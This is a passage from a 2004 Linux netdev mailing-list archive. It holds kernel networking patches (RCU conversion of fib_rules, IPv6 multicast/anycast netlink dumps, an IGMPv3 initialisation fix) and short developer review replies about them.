> + struct list_head r_list;
> atomic_t r_clntref;
> u32 r_preference;
> unsigned char r_table;
> @@ -74,6 +74,7 @@
> #endif
> char r_ifname[IFNAMSIZ];
> int r_dead;
> + struct rcu_head r_rcu;
> };
>
> static struct fib_rule default_rule = {
> @@ -84,7 +85,6 @@
> };
>
> static struct fib_rule main_rule = {
> - .r_next = &default_rule,
> .r_clntref = ATOMIC_INIT(2),
> .r_preference = 0x7FFE,
> .r_table = RT_TABLE_MAIN,
> @@ -92,23 +92,23 @@
> };
>
> static struct fib_rule local_rule = {
> - .r_next = &main_rule,
> .r_clntref = ATOMIC_INIT(2),
> .r_table = RT_TABLE_LOCAL,
> .r_action = RTN_UNICAST,
> };
>
> -static struct fib_rule *fib_rules = &local_rule;
> -static rwlock_t fib_rules_lock = RW_LOCK_UNLOCKED;
> +static LIST_HEAD(fib_rules);
> +static spinlock_t fib_rules_lock = SPIN_LOCK_UNLOCKED;
>
> int inet_rtm_delrule(struct sk_buff *skb, struct nlmsghdr* nlh, void *arg)
> {
> struct rtattr **rta = arg;
> struct rtmsg *rtm = NLMSG_DATA(nlh);
> - struct fib_rule *r, **rp;
> + struct fib_rule *r;
> int err = -ESRCH;
>
> - for (rp=&fib_rules; (r=*rp) != NULL; rp=&r->r_next) {
> + spin_lock_bh(&fib_rules_lock);
> + list_for_each_entry(r, &fib_rules, r_list) {
> if ((!rta[RTA_SRC-1] || memcmp(RTA_DATA(rta[RTA_SRC-1]), &r->r_src, 4) == 0) &&
> rtm->rtm_src_len == r->r_src_len &&
> rtm->rtm_dst_len == r->r_dst_len &&
> @@ -125,15 +125,15 @@
> if (r == &local_rule)
> break;
>
> - write_lock_bh(&fib_rules_lock);
> - *rp = r->r_next;
> + list_del_rcu(&r->r_list);
> r->r_dead = 1;
> - write_unlock_bh(&fib_rules_lock);
> - fib_rule_put(r);
> + call_rcu(&r->r_rcu,
> + (void (*)(void *))fib_rule_put, r);
> err = 0;
> break;
> }
> }
> + spin_unlock_bh(&fib_rules_lock);
> return err;
> }
>
> @@ -163,7 +163,7 @@
> {
> struct rtattr **rta = arg;
> struct rtmsg *rtm = NLMSG_DATA(nlh);
> - struct fib_rule *r, *new_r, **rp;
> + struct fib_rule *r, *new_r;
> unsigned char table_id;
>
> if (rtm->rtm_src_len > 32 || rtm->rtm_dst_len > 32 ||
> @@ -221,27 +221,27 @@
> memcpy(&new_r->r_tclassid, RTA_DATA(rta[RTA_FLOW-1]), 4);
> #endif
>
> - rp = &fib_rules;
> +
> + spin_lock_bh(&fib_rules_lock);
> + r = list_entry(&fib_rules, struct fib_rule, r_list);
> if (!new_r->r_preference) {
> - r = fib_rules;
> - if (r && (r = r->r_next) != NULL) {
> - rp = &fib_rules->r_next;
> + if (!list_empty(&fib_rules)) {
> + r = list_entry(fib_rules.next, struct fib_rule, r_list);
> if (r->r_preference)
> new_r->r_preference = r->r_preference - 1;
> }
> }
>
> - while ( (r = *rp) != NULL ) {
> + list_for_each_entry_continue(r, &fib_rules, r_list) {
> if (r->r_preference > new_r->r_preference)
> break;
> - rp = &r->r_next;
> }
>
> - new_r->r_next = r;
> atomic_inc(&new_r->r_clntref);
> - write_lock_bh(&fib_rules_lock);
> - *rp = new_r;
> - write_unlock_bh(&fib_rules_lock);
> +
> + list_add_rcu(&new_r->r_list, &r->r_list);
> + spin_unlock_bh(&fib_rules_lock);
> +
> return 0;
> }
>
> @@ -285,26 +285,30 @@
> {
> struct fib_rule *r;
>
> - for (r=fib_rules; r; r=r->r_next) {
> + rcu_read_lock();
> + list_for_each_entry_rcu(r, &fib_rules, r_list) {
> if (r->r_ifindex == dev->ifindex) {
> - write_lock_bh(&fib_rules_lock);
> + spin_lock_bh(&fib_rules_lock);
> r->r_ifindex = -1;
> - write_unlock_bh(&fib_rules_lock);
> + spin_unlock_bh(&fib_rules_lock);
> }
> }
> + rcu_read_unlock();
> }
>
> static void fib_rules_attach(struct net_device *dev)
> {
> struct fib_rule *r;
>
> - for (r=fib_rules; r; r=r->r_next) {
> + rcu_read_lock();
> + list_for_each_entry_rcu(r, &fib_rules, r_list) {
> if (r->r_ifindex == -1 && strcmp(dev->name, r->r_ifname) == 0) {
> - write_lock_bh(&fib_rules_lock);
> + spin_lock_bh(&fib_rules_lock);
> r->r_ifindex = dev->ifindex;
> - write_unlock_bh(&fib_rules_lock);
> + spin_unlock_bh(&fib_rules_lock);
> }
> }
> + rcu_read_unlock();
> }
>
> int fib_lookup(const struct flowi *flp, struct fib_result *res)
> @@ -318,8 +322,9 @@
>
> FRprintk("Lookup: %u.%u.%u.%u <- %u.%u.%u.%u ",
> NIPQUAD(flp->fl4_dst), NIPQUAD(flp->fl4_src));
> - read_lock(&fib_rules_lock);
> - for (r = fib_rules; r; r=r->r_next) {
> +
> + rcu_read_lock();
> + list_for_each_entry_rcu(r, &fib_rules, r_list) {
> if (((saddr^r->r_src) & r->r_srcmask) ||
> ((daddr^r->r_dst) & r->r_dstmask) ||
> #ifdef CONFIG_IP_ROUTE_TOS
> @@ -342,10 +347,10 @@
> return -ENETUNREACH;
> default:
> case RTN_BLACKHOLE:
> - read_unlock(&fib_rules_lock);
> + rcu_read_unlock();
> return -EINVAL;
> case RTN_PROHIBIT:
> - read_unlock(&fib_rules_lock);
> + rcu_read_unlock();
> return -EACCES;
> }
>
> @@ -356,16 +361,18 @@
> res->r = policy;
> if (policy)
> atomic_inc(&policy->r_clntref);
> - read_unlock(&fib_rules_lock);
> +
> + rcu_read_unlock();
> return 0;
> }
> if (err < 0 && err != -EAGAIN) {
> - read_unlock(&fib_rules_lock);
> + rcu_read_unlock();
> return err;
> }
> }
> FRprintk("FAILURE\n");
> - read_unlock(&fib_rules_lock);
> +
> + rcu_read_unlock();
> return -ENETUNREACH;
> }
>
> @@ -391,8 +398,8 @@
> }
>
>
> -struct notifier_block fib_rules_notifier = {
> - .notifier_call =fib_rules_event,
> +static struct notifier_block fib_rules_notifier = {
> + .notifier_call = fib_rules_event,
> };
>
> static __inline__ int inet_fill_rule(struct sk_buff *skb,
> @@ -444,18 +451,16 @@
>
> int inet_dump_rules(struct sk_buff *skb, struct netlink_callback *cb)
> {
> - int idx;
> + int idx = 0;
> int s_idx = cb->args[0];
> struct fib_rule *r;
>
> - read_lock(&fib_rules_lock);
> - for (r=fib_rules, idx=0; r; r = r->r_next, idx++) {
> - if (idx < s_idx)
> - continue;
> - if (inet_fill_rule(skb, r, cb) < 0)
> + rcu_read_lock();
> + list_for_each_entry_rcu(r, &fib_rules, r_list) {
> + if (idx++ >= s_idx && inet_fill_rule(skb, r, cb) < 0)
> break;
> }
> - read_unlock(&fib_rules_lock);
> + rcu_read_unlock();
> cb->args[0] = idx;
>
> return skb->len;
> @@ -464,4 +469,10 @@
> void __init fib_rules_init(void)
> {
> register_netdevice_notifier(&fib_rules_notifier);
> +
> + spin_lock_bh(&fib_rules_lock);
> + list_add_rcu(&local_rule.r_list, &fib_rules);
> + list_add_rcu(&main_rule.r_list, &local_rule.r_list);
> + list_add_rcu(&default_rule.r_list, &main_rule.r_list);
> + spin_unlock_bh(&fib_rules_lock);
> } --0__=07BBE4FBDF1278BA8f9e8a93df938690918c07BBE4FBDF1278BA-- From hch@infradead.org Wed Mar 31 20:45:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 20:45:28 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i314jPKO017963 for ; Wed, 31 Mar 2004 20:45:26 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1B8u4v-0004DK-Ku; Thu, 01 Apr 2004 05:45:21 +0100 Date: Thu, 1 Apr 2004 05:45:21 +0100 From: Christoph Hellwig To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] make lock/release_sock fast calls Message-ID: <20040401054521.A16112@infradead.org> References: <20040331112407.66309027@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040331112407.66309027@dell_ss3.pdx.osdl.net>; from shemminger@osdl.org on Wed, Mar 31, 2004 at 11:24:07AM -0800 X-archive-position: 4411 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 324 Lines: 8 On Wed, Mar 31, 2004 at 11:24:07AM -0800, Stephen Hemminger wrote: > lock_sock and release_sock are no longer inline, but they are called in > the critical path of many operations, so it makes sense to use register based > fastcall. Not sure I agree. If you care for performance you compile with CONFIG_REGPARAM set, no? From yoshfuji@linux-ipv6.org Wed Mar 31 20:50:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 20:50:41 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i314obKO018446 for ; Wed, 31 Mar 2004 20:50:38 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id DB54E33CA5; Thu, 1 Apr 2004 13:50:48 +0900 (JST) Date: Thu, 01 Apr 2004 13:50:48 +0900 (JST) Message-Id: <20040401.135048.45446611.yoshfuji@linux-ipv6.org> To: mashirle@us.ibm.com Cc: davem@redhat.com, netdev@oss.sgi.com, xma@us.ibm.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200403311007.01702.mashirle@us.ibm.com> References: <200403311007.01702.mashirle@us.ibm.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4412 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 3693 Lines: 126 Hello. In article <200403311007.01702.mashirle@us.ibm.com> (at Wed, 31 Mar 2004 10:07:01 -0800), Shirley Ma says: > @@ -350,6 +355,10 @@ > #define IFA_F_SECONDARY 0x01 > #define IFA_F_TEMPORARY IFA_F_SECONDARY > > +#define IFA_F_ADDRESS 0x02 > +#define IFA_F_MULTICAST 0x04 > +#define IFA_F_ANYCAST 0x08 > + > #define IFA_F_DEPRECATED 0x20 > #define IFA_F_TENTATIVE 0x40 > #define IFA_F_PERMANENT 0x80 Why do we need IFA_F_MULTICAST? This is waste of flags. > -static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) > +static int inet6_dump_addr(struct sk_buff *skb, struct netlink_callback *cb, > + unsigned char flags) unsigned char type) > + if (flags & IFA_F_ADDRESS) { type == 0 > + /* unicast address */ > + for (ifa = idev->addr_list; ifa; > + ifa = ifa->if_next, ip_idx++) { > + if (ip_idx < s_ip_idx) > + continue; > + if ((err = inet6_fill_ifaddr(skb, ifa, > + NETLINK_CB(cb->skb).pid, > + cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) > + goto done; > + } > + /* temp addr */ > #ifdef CONFIG_IPV6_PRIVACY > - for (ifa = idev->tempaddr_list; ifa; > - ifa = ifa->tmp_next, ip_idx++) { > - if (ip_idx < s_ip_idx) > - continue; > - if ((err = inet6_fill_ifaddr(skb, ifa, > - NETLINK_CB(cb->skb).pid, > - cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) > - goto done; > - } > + for (ifa = idev->tempaddr_list; ifa; > + ifa = ifa->tmp_next, ip_idx++) { > + if (ip_idx < s_ip_idx) > + continue; > + if ((err = inet6_fill_ifaddr(skb, ifa, > + NETLINK_CB(cb->skb).pid, > + cb->nlh->nlmsg_seq, RTM_NEWADDR)) <= 0) > + goto done; > + } > #endif > + } > + if (flags & IFA_F_MULTICAST) { type == IFA_MULTICAST > + /* multicast address */ > + for (ifmca = idev->mc_list; ifmca; > + ifmca = ifmca->next, ip_idx++) { > + if (ip_idx < s_ip_idx) > + continue; > + if ((err = inet6_fill_ifmcaddr(skb, ifmca, > + NETLINK_CB(cb->skb).pid, > + cb->nlh->nlmsg_seq, RTM_GETMULTICAST)) <= 0) > + goto done; > + } > + } > + if (flags & IFA_F_ANYCAST) { type == IFA_ANYCAST > + /* anycast address */ > + for (ifaca = idev->ac_list; ifaca; > + ifaca = ifaca->aca_next, ip_idx++) { > + if (ip_idx < s_ip_idx) > + continue; > + if ((err = inet6_fill_ifacaddr(skb, ifaca, > + NETLINK_CB(cb->skb).pid, > + cb->nlh->nlmsg_seq, RTM_GETANYCAST)) <= 0) > + goto done; > + } > + } > read_unlock_bh(&idev->lock); > in6_dev_put(idev); > } > @@ -2687,6 +2714,25 @@ > return skb->len; > } > > +static int inet6_dump_ifaddr(struct sk_buff *skb, struct netlink_callback *cb) > +{ > + unsigned char flag = IFA_F_ADDRESS; > + return inet6_dump_addr(skb, cb, flag); 0 > +} > + > +static int inet6_dump_ifmcaddr(struct sk_buff *skb, struct netlink_callback *cb) > +{ > + unsigned char flag = IFA_F_MULTICAST; > + return inet6_dump_addr(skb, cb, flag); IFA_MULTICAST > +} > + > + > +static int inet6_dump_ifacaddr(struct sk_buff *skb, struct netlink_callback *cb) > +{ > + unsigned char flag = IFA_F_ANYCAST; > + return inet6_dump_addr(skb, cb, flag); IFA_ANYCAST > +} > + > static void inet6_ifa_notify(int event, struct inet6_ifaddr *ifa) > { > struct sk_buff *skb; Of course, we can use switch-case. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From xma@us.ibm.com Wed Mar 31 21:19:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 21:19:36 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i315JRKO019507 for ; Wed, 31 Mar 2004 21:19:34 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i315Ix9x481212; Thu, 1 Apr 2004 00:18:59 -0500 Received: from d03nm124.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i315Iw06361514; Wed, 31 Mar 2004 22:18:58 -0700 In-Reply-To: <20040401.135048.45446611.yoshfuji@linux-ipv6.org> Reply-To: Sensitivity: Subject: Re: [PATCH]dump interface IPv6 multicast/anycast addresses through netlink To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, mashirle@us.ibm.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Shirley Ma Date: Wed, 31 Mar 2004 21:18:57 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/31/2004 22:18:58 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4FADF8835A78f9e8a93df938690918c08BBE4FADF8835A7" Content-Disposition: inline X-archive-position: 4413 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1145 Lines: 41 --0__=08BBE4FADF8835A78f9e8a93df938690918c08BBE4FADF8835A7 Content-type: text/plain; charset=US-ASCII The reason to add these flags was for rtnetlink MATCH request through RTM_GETADDRESS. Since here we use RTM_GETMULTICAST, RTM_GETANYCAST for getting multicast/anycast addresses, it's not necessary to have these flags. I will remove them. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4FADF8835A78f9e8a93df938690918c08BBE4FADF8835A7 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

The reason to add these flags was for rtnetlink MATCH request through
RTM_GETADDRESS. Since here we use RTM_GETMULTICAST,
RTM_GETANYCAST for getting multicast/anycast addresses, it's not
necessary to have these flags. I will remove them.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228

--0__=08BBE4FADF8835A78f9e8a93df938690918c08BBE4FADF8835A7-- From kuznet@ms2.inr.ac.ru Wed Mar 31 22:01:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 22:01:26 -0800 (PST) Received: from yakov.inr.ac.ru ([194.67.69.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i3161FKO020987 for ; Wed, 31 Mar 2004 22:01:16 -0800 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id KAA08004; Thu, 1 Apr 2004 10:00:36 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200404010600.KAA08004@yakov.inr.ac.ru> Subject: Re: route cache DoS testing and softirqs To: dipankar@in.ibm.com Date: Thu, 1 Apr 2004 10:00:36 +0400 (MSD) Cc: andrea@suse.de (Andrea Arcangeli), linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com (Paul E. McKenney), davem@redhat.com (Dave Miller), akpm@osdl.org (Andrew Morton) In-Reply-To: <20040330202820.GA3956@in.ibm.com> from "Dipankar Sarma" at Mar 31, 2004 01:58:21 AM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4414 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Content-Length: 912 Lines: 21 Hello! > > We had one full solution for this issue not changing anything > > in scheduler/softirq relationship: to run rcu task for the things > > sort of dst cache not from process context, but essentially as part > > of do_softirq(). Simple, stupid and apparently solves new problems > > which rcu created. > > Can you be a little bit more specific about this solution ? It is about that your suggestion, which you outlined below :-) > as indicated by my earlier experiments. We have potential fixes > for RCU through a call_rcu_bh() interface where completion of a > softirq handler is a quiescent state. I am working on forward porting > that old patch from our discussion last year and testing in my > environment. That should increase the number of quiescent state > points significantly and hopefully reduce the grace period significantly. > But this does nothing to help userland starvation. Alexey From dlstevens@us.ibm.com Wed Mar 31 22:10:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 22:10:33 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i316AVKO021556 for ; Wed, 31 Mar 2004 22:10:32 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i316AQ9x469588; Thu, 1 Apr 2004 01:10:26 -0500 Received: from d03nm121.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i316APjU099582; Wed, 31 Mar 2004 23:10:25 -0700 In-Reply-To: <20040330192558.1d9c8eb2.davem@redhat.com> Subject: Re: [PATCH] fix IGMPv3 timer initialization when device not "upped" To: "David S. Miller" Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 31 Mar 2004 23:10:22 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/31/2004 23:10:25 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676" X-archive-position: 4415 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 9815 Lines: 278 --0__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676 Content-type: multipart/alternative; Boundary="1__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676" --1__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676 Content-type: text/plain; charset=US-ASCII netdev-bounce@oss.sgi.com wrote on 03/30/2004 07:25:58 PM: > Applied, thanks David. Can I have a 2.4.x variant under seperate > cover please? I did the "mc_initted" thing there too. Dave, Here's a 2.4.x version of the patch. +-DLS diff -ruN linux-2.4.26-rc1/include/linux/inetdevice.h linux-2.4.26-rc1F1/include/linux/inetdevice.h --- linux-2.4.26-rc1/include/linux/inetdevice.h 2004-03-30 16:28:38.000000000 -0800 +++ linux-2.4.26-rc1F1/include/linux/inetdevice.h 2004-03-31 19:33:34.000000000 -0800 @@ -34,8 +34,6 @@ rwlock_t lock; int dead; struct in_ifaddr *ifa_list; /* IP ifaddr chain */ - int mc_initted; - struct ip_mc_list *mc_list; /* IP multicast filter chain */ rwlock_t mc_lock; /* for mc_tomb */ struct ip_mc_list *mc_tomb; diff -ruN linux-2.4.26-rc1/net/ipv4/devinet.c linux-2.4.26-rc1F1/net/ipv4/devinet.c --- linux-2.4.26-rc1/net/ipv4/devinet.c 2004-03-30 16:28:39.000000000 -0800 +++ linux-2.4.26-rc1F1/net/ipv4/devinet.c 2004-03-31 19:35:38.000000000 -0800 @@ -151,7 +151,8 @@ #ifdef CONFIG_SYSCTL devinet_sysctl_register(in_dev, &in_dev->cnf); #endif - if (dev->flags&IFF_UP) + ip_mc_init_dev(in_dev); + if (dev->flags & IFF_UP) ip_mc_up(in_dev); return in_dev; } diff -ruN linux-2.4.26-rc1/net/ipv4/igmp.c linux-2.4.26-rc1F1/net/ipv4/igmp.c --- linux-2.4.26-rc1/net/ipv4/igmp.c 2004-03-30 16:28:39.000000000 -0800 +++ linux-2.4.26-rc1F1/net/ipv4/igmp.c 2004-03-31 19:33:34.000000000 -0800 @@ -1205,8 +1205,8 @@ ASSERT_RTNL(); - if (!in_dev->mc_initted) - return; + for (i=in_dev->mc_list; i; i=i->next) + igmp_group_dropped(i); #ifdef CONFIG_IP_MULTICAST in_dev->mr_ifc_count = 0; @@ -1215,24 +1215,14 @@ in_dev->mr_gq_running = 0; if (del_timer(&in_dev->mr_gq_timer)) __in_dev_put(in_dev); -#endif - - for (i=in_dev->mc_list; i; i=i->next) - igmp_group_dropped(i); - -#ifdef CONFIG_IP_MULTICAST igmpv3_clear_delrec(in_dev); #endif ip_mc_dec_group(in_dev, IGMP_ALL_HOSTS); } -/* Device going up */ - -void ip_mc_up(struct in_device *in_dev) +void ip_mc_init_dev(struct in_device *in_dev) { - struct ip_mc_list *i; - ASSERT_RTNL(); in_dev->mc_tomb = 0; @@ -1249,12 +1239,20 @@ #endif in_dev->mc_lock = RW_LOCK_UNLOCKED; +} + +/* Device going up */ + +void ip_mc_up(struct in_device *in_dev) +{ + struct ip_mc_list *i; + + ASSERT_RTNL(); + ip_mc_inc_group(in_dev, IGMP_ALL_HOSTS); for (i=in_dev->mc_list; i; i=i->next) igmp_group_added(i); - - in_dev->mc_initted = 1; } /* (See attached file: 2.4.26-rc1-igmpinit.patch) --1__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

netdev-bounce@oss.sgi.com wrote on 03/30/2004 07:25:58 PM:

> Applied, thanks David.  Can I have a 2.4.x variant under seperate
> cover please?  I did the "mc_initted" thing there too.

Dave,
Here's a 2.4.x version of the patch.

+-DLS

diff -ruN linux-2.4.26-rc1/include/linux/inetdevice.h linux-2.4.26-rc1F1/include/linux/inetdevice.h
--- linux-2.4.26-rc1/include/linux/inetdevice.h 2004-03-30 16:28:38.000000000 -0800
+++ linux-2.4.26-rc1F1/include/linux/inetdevice.h 2004-03-31 19:33:34.000000000 -0800
@@ -34,8 +34,6 @@
rwlock_t lock;
int dead;
struct in_ifaddr *ifa_list; /* IP ifaddr chain */
- int mc_initted;
-
struct ip_mc_list *mc_list; /* IP multicast filter chain    */
rwlock_t mc_lock; /* for mc_tomb */
struct ip_mc_list *mc_tomb;
diff -ruN linux-2.4.26-rc1/net/ipv4/devinet.c linux-2.4.26-rc1F1/net/ipv4/devinet.c
--- linux-2.4.26-rc1/net/ipv4/devinet.c 2004-03-30 16:28:39.000000000 -0800
+++ linux-2.4.26-rc1F1/net/ipv4/devinet.c 2004-03-31 19:35:38.000000000 -0800
@@ -151,7 +151,8 @@
#ifdef CONFIG_SYSCTL
devinet_sysctl_register(in_dev, &in_dev->cnf);
#endif
- if (dev->flags&IFF_UP)
+ ip_mc_init_dev(in_dev);
+ if (dev->flags & IFF_UP)
ip_mc_up(in_dev);
return in_dev;
}
diff -ruN linux-2.4.26-rc1/net/ipv4/igmp.c linux-2.4.26-rc1F1/net/ipv4/igmp.c

--- linux-2.4.26-rc1/net/ipv4/igmp.c 2004-03-30 16:28:39.000000000 -0800
+++ linux-2.4.26-rc1F1/net/ipv4/igmp.c 2004-03-31 19:33:34.000000000 -0800
@@ -1205,8 +1205,8 @@

ASSERT_RTNL();

- if (!in_dev->mc_initted)
- return;
+ for (i=in_dev->mc_list; i; i=i->next)
+ igmp_group_dropped(i);

#ifdef CONFIG_IP_MULTICAST
in_dev->mr_ifc_count = 0;
@@ -1215,24 +1215,14 @@
in_dev->mr_gq_running = 0;
if (del_timer(&in_dev->mr_gq_timer))
__in_dev_put(in_dev);
-#endif
-
- for (i=in_dev->mc_list; i; i=i->next)
- igmp_group_dropped(i);
-
-#ifdef CONFIG_IP_MULTICAST
igmpv3_clear_delrec(in_dev);
#endif

ip_mc_dec_group(in_dev, IGMP_ALL_HOSTS);
}

-/* Device going up */
-
-void ip_mc_up(struct in_device *in_dev)
+void ip_mc_init_dev(struct in_device *in_dev)
{
- struct ip_mc_list *i;
-
ASSERT_RTNL();

in_dev->mc_tomb = 0;
@@ -1249,12 +1239,20 @@
#endif

in_dev->mc_lock = RW_LOCK_UNLOCKED;
+}
+
+/* Device going up */
+
+void ip_mc_up(struct in_device *in_dev)
+{
+ struct ip_mc_list *i;
+
+ ASSERT_RTNL();

+
ip_mc_inc_group(in_dev, IGMP_ALL_HOSTS);

for (i=in_dev->mc_list; i; i=i->next)
igmp_group_added(i);
-
- in_dev->mc_initted = 1;
}

/*

(See attached file: 2.4.26-rc1-igmpinit.patch)
--1__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676-- --0__=07BBE4FADFB246768f9e8a93df938690918c07BBE4FADFB24676 Content-type: application/octet-stream; name="2.4.26-rc1-igmpinit.patch" Content-Disposition: attachment; filename="2.4.26-rc1-igmpinit.patch" Content-ID: <10__=07BBE4FADFB246768f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNC4yNi1yYzEvaW5jbHVkZS9saW51eC9pbmV0ZGV2aWNlLmggbGlu dXgtMi40LjI2LXJjMUYxL2luY2x1ZGUvbGludXgvaW5ldGRldmljZS5oCi0tLSBsaW51eC0yLjQu MjYtcmMxL2luY2x1ZGUvbGludXgvaW5ldGRldmljZS5oCTIwMDQtMDMtMzAgMTY6Mjg6MzguMDAw MDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjQuMjYtcmMxRjEvaW5jbHVkZS9saW51eC9pbmV0ZGV2 aWNlLmgJMjAwNC0wMy0zMSAxOTozMzozNC4wMDAwMDAwMDAgLTA4MDAKQEAgLTM0LDggKzM0LDYg QEAKIAlyd2xvY2tfdAkJbG9jazsKIAlpbnQJCQlkZWFkOwogCXN0cnVjdCBpbl9pZmFkZHIJKmlm YV9saXN0OwkvKiBJUCBpZmFkZHIgY2hhaW4JCSovCi0JaW50CQkJbWNfaW5pdHRlZDsKLQogCXN0 cnVjdCBpcF9tY19saXN0CSptY19saXN0OwkvKiBJUCBtdWx0aWNhc3QgZmlsdGVyIGNoYWluICAg ICovCiAJcndsb2NrX3QJCW1jX2xvY2s7CS8qIGZvciBtY190b21iICovCiAJc3RydWN0IGlwX21j X2xpc3QJKm1jX3RvbWI7CmRpZmYgLXJ1TiBsaW51eC0yLjQuMjYtcmMxL25ldC9pcHY0L2Rldmlu ZXQuYyBsaW51eC0yLjQuMjYtcmMxRjEvbmV0L2lwdjQvZGV2aW5ldC5jCi0tLSBsaW51eC0yLjQu MjYtcmMxL25ldC9pcHY0L2RldmluZXQuYwkyMDA0LTAzLTMwIDE2OjI4OjM5LjAwMDAwMDAwMCAt MDgwMAorKysgbGludXg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:01 2004 